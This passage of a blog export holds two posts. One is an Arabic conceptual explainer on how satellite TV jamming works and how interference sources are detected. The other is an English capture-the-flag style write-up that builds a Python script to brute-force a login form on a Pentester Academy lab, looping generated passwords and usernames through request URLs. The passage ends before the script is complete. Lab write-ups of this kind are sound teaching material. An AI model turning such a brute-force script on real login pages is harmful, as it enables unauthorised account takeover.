في الحاله العاديه للقناه التلفزيونيه يتم عمل ما يسمي modulation وهي عملية دمج الاشاره الاصليه التي تحتوي علي المعلومات وهي (الصوت والصوره ) مع اشاره حامله Carrier signal ليتم ارسالها الي القمر الصناعي . ماتقوم به جهة التشويش هي ارسال مجموعة من الاشارات في نطاق محدد وليكن نطاق قناة الجزيرة علي سبيل المثال كما هو موضح بالصوره وكما ذكرت من قبل ان القمر الصناعي ماهو الا عاكس فبالتالي يحدث تداخل بين الاشارتين وتصلك الاشاره بطريقة مشوشه وربما يتم حجبها لبعض الوقت في بعض الاحيان . المشكله هنا تكمن في القمر الصناعي نفسه حيث انه يقوم باستقبال اي اشاره علي التردد .</div>
<div class="mceTemp mceIEcenter" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; text-align: center;">
<dl class="wp-caption aligncenter" data-mce-style="width: 285px;" id="attachment_5284" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 10px auto; padding-top: 4px; width: 285px;">
<dt class="wp-caption-dt"><a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/pixelation02.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/pixelation02.jpg"><img alt="pixelation02" class=" wp-image-5284" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/pixelation02.jpg" height="206" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/pixelation02.jpg" style="-webkit-user-drag: none; border: 0px none; cursor: default; margin: 0px; padding: 0px;" width="275" /></a></dt>
<dd class="wp-caption-dd" style="font-size: 12px; line-height: 1.5; margin: 0px; padding: 0px 4px 5px;">مثال للصورة اثناء التشويش</dd></dl>
</div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
<span data-mce-style="color: #ff0000;" style="color: red;"><strong>كيف يتم تحديد مصدر التشويش ؟ </strong></span></div>
<div class="mceTemp mceIEcenter" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; text-align: center;">
<dl class="wp-caption aligncenter" data-mce-style="width: 260px;" id="attachment_5286" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 10px auto; padding-top: 4px; width: 260px;">
<dt class="wp-caption-dt"><a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/carrier.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/carrier.jpg"><img alt="interference carrier" class="size-full wp-image-5286" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/carrier.jpg" height="159" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/carrier.jpg" style="-webkit-user-drag: none; border: 0px none; cursor: default; margin: 0px; padding: 0px;" width="250" /></a></dt>
<dd class="wp-caption-dd" style="font-size: 12px; line-height: 1.5; margin: 0px; padding: 0px 4px 5px;">interference carrier</dd></dl>
</div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
يتم تحديد اولا اذا كان هناك اشاره Carrirer متداخله مع الاشاره الاصليه ام لا من خلال Carrier Monitoring product حيث يقوم بالبحث عن خصائص الموجه المتداخله ومن ثم عرضها مثلMonics CMS وهي اختصار لـ Carrier Monitoring system .</div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
<br /></div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
<a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/SAT_Products_text.jpg" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/SAT_Products_text.jpg"><img alt="SAT_Products_text" class="aligncenter size-medium wp-image-5287" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/SAT_Products_text-300x195.jpg" height="195" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/SAT_Products_text-300x195.jpg" style="border: 0px; cursor: default; display: block; margin-left: auto; margin-right: auto;" width="300" /></a></div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
<a data-mce-href="http://www.isecur1ty.org/wp-content/uploads/2014/02/ds-satid4.png" data-mce-style="text-align: center; font-size: 13px; line-height: 1.5em;" href="http://www.isecur1ty.org/wp-content/uploads/2014/02/ds-satid4.png" style="line-height: 1.5em; text-align: center;"><img alt="ds-satid4" class="size-medium wp-image-5285 aligncenter" data-mce-src="http://www.isecur1ty.org/wp-content/uploads/2014/02/ds-satid4-300x174.png" height="174" src="http://www.isecur1ty.org/wp-content/uploads/2014/02/ds-satid4-300x174.png" style="border: 0px; cursor: default; display: block; margin-left: auto; margin-right: auto;" width="300" /></a></div>
<dl class="wp-caption aligncenter" data-mce-style="width: 310px;" id="attachment_5285" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin: 10px auto; padding-top: 4px; text-align: center; width: 310px;"><dd class="wp-caption-dd" style="font-size: 12px; line-height: 1.5; margin: 0px; padding: 0px 4px 5px;">SatID</dd></dl>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
في الصوره التي تحتوي علي وصف interference تجد كيف يتم تحديد مصدر التشويش . حيث يوجد بعض المنتجات مثل <a data-mce-href="http://www.sat.com/products/satID.php" href="http://www.sat.com/products/satID.php" target="_blank">SatID</a> كما هو موضح بالصوره يقوم بتحديد الموقع الجغرافي لمصدر التشويش .</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
يمكنكم مشاهدة تقرير قناة BBC عن التشويش من خلال فيديو بسيط يوضح كيف يتم التشويش</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
<a data-mce-href="http://www.bbc.co.uk/arabic/multimedia/2012/11/121127_jamming_dataviz.shtml" href="http://www.bbc.co.uk/arabic/multimedia/2012/11/121127_jamming_dataviz.shtml">http://www.bbc.co.uk/arabic/multimedia/2012/11/121127_jamming_dataviz.shtml</a></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
واخيرا حاولت ان اتطرق الي كيفية التشويش بطريقة بسيطه وكيفية الكشف عنه ايضا</div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
يمكنكم معرفة المزيد عن كيفية تداخل الاشارات من خلال الرابط <a data-mce-href="http://www.microwavejournal.com/articles/18088-tackling-satellite-interference" href="http://www.microwavejournal.com/articles/18088-tackling-satellite-interference" target="_blank">التالي </a></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
يمكنكم ايضا مشاهدة تقرير قناة الجزيرة عن التشويش من خلال الرابط <a data-mce-href="http://www.aljazeera.net/news/pages/dd7c669a-241b-4f51-91f7-8d929467a8d3" href="http://www.aljazeera.net/news/pages/dd7c669a-241b-4f51-91f7-8d929467a8d3" target="_blank">التالي</a></div>
<div data-mce-style="text-align: right;" style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em;">
لمعرفة المزيد عن توليد الاشارات بقدرة كبيره يمكنكم مشاهده تعريف احد الاجهزه المولده للاشارات من <a data-mce-href="http://www.anapico.com/documents/PB/APSIN20HP_PB.pdf" href="http://www.anapico.com/documents/PB/APSIN20HP_PB.pdf" target="_blank">هنا</a></div>
<div style="color: #333333; font-family: Tahoma, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 12.727272033691406px; line-height: 19.488636016845703px; margin-bottom: 1.3em; text-align: start;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-79169404488103173882013-10-29T08:18:00.001-07:002013-10-29T08:20:13.998-07:00securitytube (pentester academy) Challenge 1 Solution<div dir="rtl" style="text-align: right;" trbidi="on">
<div dir="ltr" style="text-align: left;">
Hello Guys, </div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
I'm gonna show u how I could solve the challenge 1 of securitytube challenges by writing a simple python script . </div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
Firstly Let's have a look on the challenge (url Below) : </div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
<a href="http://pentesteracademylab.appspot.com/lab/webapp/1">http://pentesteracademylab.appspot.com/lab/webapp/1</a></div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
ok it gives us some hints : </div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
<b style="background-color: whitesmoke; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px;"><b></b></b></div>
<div class="well" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0470588) 0px 1px 1px inset; background-color: whitesmoke; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(227, 227, 227); box-shadow: rgba(0, 0, 0, 0.0470588) 0px 1px 1px inset; margin-bottom: 20px; min-height: 20px; padding: 19px;">
<div style="margin: 0px 0px 10px;">
</div>
<div style="text-align: left;">
<span style="font-weight: bold;"><br /></span></div>
<b></b><br />
<div style="text-align: left;">
<b><b>Hint:</b></b></div>
<b>
</b>
<div style="margin: 0px 0px 10px;">
</div>
<ol style="margin: 0px 0px 10px 25px; padding: 0px;">
<li style="line-height: 20px; text-align: left;"><b>Company Domain:</b> PentesterAcademy.com</li>
<li style="line-height: 20px; text-align: left;"><b>Usernames:</b> jack, admin</li>
<li style="line-height: 20px; text-align: left;"><b>Password Complexity:</b> 5 characters and uses only x,y,z lowercase. Password examples - xxyyz, xyzxy, xyxxx etc.</li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
ok as shown in hints it gives us a combination of passwords and 2 usernames it seems to be brute force attack on a form :) </div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
so with a simple calculation the password would be a combination of three letters only (x , y and z ) with a length of 5 characters , so number of probabilities would be ( 3 ^ 5 ) = 243 probability and we have 2 usernames , so number of tries will be done on this form is (243 * 2 = 486) try .</div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
ok let's start coding our script to brute force on this form : </div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
I'm gonna use (urllib2) to connect to a web page -> </div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div class="view_box" id="code" style="background-color: white; color: #777777; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 20px; margin-top: 10px; text-align: start;">
<pre class="source" id="source" style="border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 0px !important; color: #333333; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 13px; padding: 0px; tab-size: 4; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><pre class="python" style="border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 0px !important; color: #000066; padding: 0px !important; tab-size: 4; white-space: pre-wrap; word-break: break-all; word-wrap: break-word;"><ol style="background-color: rgb(239, 239, 239) !important; background-position: initial initial !important; background-repeat: initial initial !important; font-size: 12px !important; margin: 0px !important; padding: 0px 0px 0px 48px !important;">
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
<span class="co1" style="color: grey; font-style: italic; line-height: 13px !important;">#!/usr/bin/env python</span></div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
</div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
<span class="kw1" style="color: #ff7700; font-weight: bold; line-height: 13px !important;">import</span> <span class="kw3" style="color: crimson; line-height: 13px !important;">urllib2</span></div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
response <span class="sy0" style="color: #66cc66; line-height: 13px !important;">=</span> <span class="kw3" style="color: crimson; line-height: 13px !important;">urllib2</span>.<span class="me1" style="color: black; line-height: 13px !important;">urlopen</span><span class="br0" style="color: black; line-height: 13px !important;">(</span><span class="st0" style="color: darkslateblue; line-height: 13px !important;">'http://pentesteracademylab.appspot.com//lab/webapp/auth/1/login'</span><span class="br0" style="color: black; line-height: 13px !important;">)</span></div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
<span class="kw1" style="color: #ff7700; font-weight: bold; line-height: 13px !important;">print</span> response.<span class="me1" style="color: black; line-height: 13px !important;">info</span><span class="br0" style="color: black; line-height: 13px !important;">(</span><span class="br0" style="color: black; line-height: 13px !important;">)</span></div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
</div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
<span class="co1" style="color: grey; font-style: italic; line-height: 13px !important;"># do something</span></div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1" style="text-align: left;">
response.<span class="me1" style="color: black; line-height: 13px !important;">close</span><span class="br0" style="color: black; line-height: 13px !important;">(</span><span class="br0" style="color: black; line-height: 13px !important;">)</span></div>
</li>
</ol>
</pre>
</pre>
</div>
<blockquote class="tr_bq">
</blockquote>
<div dir="ltr" style="text-align: left;">
this code will give us and output </div>
<div class="view_box" id="code" style="background-color: white; margin-bottom: 20px; margin-top: 10px; text-align: start;">
<pre class="source" id="source" style="border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 0px !important; padding: 0px; tab-size: 4; word-break: break-all; word-wrap: break-word;"><pre class="python" style="border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 0px !important; padding: 0px !important; tab-size: 4; word-break: break-all; word-wrap: break-word;"><ol dir="ltr" style="background-color: rgb(239, 239, 239) !important; margin: 0px !important; padding: 0px 0px 0px 48px !important; text-align: left;">
<li class="li1" style="background-color: rgb(248, 248, 248) !important; padding-left: 10px !important;"><div class="de1">
<div style="text-align: left;">
<i style="color: grey; font-size: 12px; line-height: 13px; text-align: start; white-space: pre-wrap;">Content-Type: text/html; charset=utf-8</i></div>
<span style="color: grey;"><span style="font-size: 12px; line-height: 13px; white-space: pre-wrap;"><i>Cache-Control: no-cache
</i></span></span><br />
<div style="text-align: left;">
<span style="color: grey;"><span style="font-size: 12px; line-height: 13px; white-space: pre-wrap;"><i><i style="text-align: start;">te: Wed, 16 Oct 2013 </i></i></span></span></div>
<span style="color: grey;"><span style="font-size: 12px; line-height: 13px; white-space: pre-wrap;"><i>
Vary: Accept-Encoding
D
a14:59:24 GMT
Server: Google Frontend
</i></span></span><br />
<div style="text-align: left;">
<span style="color: grey;"><span style="font-size: 12px; line-height: 13px; white-space: pre-wrap;"><i><i style="text-align: start;">: close
</i></i></span></span></div>
<span style="color: grey;"><span style="font-size: 12px; line-height: 13px; white-space: pre-wrap;"><i>
Alternate-Protocol: 80:quic
Connectio</i></span></span><i style="color: grey; font-size: 12px; line-height: 13px; white-space: pre-wrap;"><div style="display: inline !important;">
<i>n</i></div>
</i></div>
</li>
<li class="li1" style="background-color: rgb(248, 248, 248) !important; color: #000066; font-family: Monaco, Menlo, Consolas, 'Courier New', monospace; font-size: 12px !important; line-height: 20px; padding-left: 10px !important; white-space: pre-wrap;"><div>
<span class="br0" style="color: black; line-height: 13px !important;">
</span></div>
</li>
</ol>
</pre>
</pre>
</div>
<div dir="ltr" style="text-align: left;">
it's the header info , so connection successfully done .<br />
<br />
Now we need to generate 243 probability of password<br />
<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
your_list <span class="sy0" style="color: #66cc66;">=</span> <span class="st0" style="color: darkslateblue;">'xyz'</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
complete_list <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span><span class="br0">]</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> current <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> <span class="kw2" style="color: green;">xrange</span><span class="br0">(</span><span class="nu0" style="color: orangered;">5</span><span class="br0">)</span>:</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
a <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span>i <span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> i <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> your_list<span class="br0">]</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> y <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> <span class="kw2" style="color: green;">xrange</span><span class="br0">(</span>current<span class="br0">)</span>:</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
a <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span>x+i <span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> i <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> your_list <span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> x <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> a<span class="br0">]</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
complete_list <span class="sy0" style="color: #66cc66;">=</span> complete_list+a</div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
<br />
this code will generate combination from length (1 to 5 ) so we need to split it and extract only combination for 5 chars length .<br />
<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw3" style="color: crimson;">chunk</span> <span class="sy0" style="color: #66cc66;">=</span> complete_list<span class="br0">[</span><span class="nu0" style="color: orangered;">120</span>:<span class="nu0" style="color: orangered;">363</span><span class="br0">]</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">print</span> <span class="kw3" style="color: crimson;">chunk</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">print</span> <span class="kw2" style="color: green;">len</span><span class="br0">(</span><span class="kw3" style="color: crimson;">chunk</span><span class="br0">)</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
the output for chunck will be (243) . Cool :)<br />
<br />
now let's make a list for users<br />
<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
username <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span><span class="st0" style="color: darkslateblue;">'jack@pentesteracademy.com'</span><span class="sy0" style="color: #66cc66;">,</span><span class="st0" style="color: darkslateblue;">'admin@pentesteracademy.com'</span><span class="br0">]</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
<br />
ok now we created a list for password and usernames . we need to make connection for the vulnerable app and try to connect with generated passwords and usernames .<br />
<br />
We need to make a for loop for passwords<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> pw <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> <span class="kw3" style="color: crimson;">chunk</span>:</div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
<br />
and we'll make another for loop for usernames under the first loop<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> x <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> username:</div>
</li>
<li class="li2" style="-webkit-user-select: none;"></li>
</ol>
<br />
then we'll print every single try for username and password<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
trying <span class="sy0" style="color: #66cc66;">=</span> <span class="st0" style="color: darkslateblue;">"Trying with Username <span class="es0" style="color: #000099; font-weight: bold;">\t</span>"</span>+ x +<span class="st0" style="color: darkslateblue;">"<span class="es0" style="color: #000099; font-weight: bold;">\t</span> password "</span>+pw + <span class="st0" style="color: darkslateblue;">"<span class="es0" style="color: #000099; font-weight: bold;">\n</span>"</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"></li>
</ol>
<br />
and as we know that the url for vulnerable app is<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="br0">(</span><span class="st0" style="color: darkslateblue;">'http://pentesteracademylab.appspot.com/lab/webapp/1?email=username</span><span class="st0" style="color: darkslateblue;">&password=password</span><span class="br0">)</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
so we will replace username parameter with x variable and password with pw variable<br />
<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
url <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">(</span><span class="st0" style="color: darkslateblue;">'http://pentesteracademylab.appspot.com/lab/webapp/1?email='</span>+x+<span class="st0" style="color: darkslateblue;">'&password='</span>+pw<span class="br0">)</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
<br />
that's good , our script now will send requests to the form and try with generated username and password but we didn't get the response yet ! . we need to know if the username and password is right or incorrect . so we'll put in these lines of codes<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
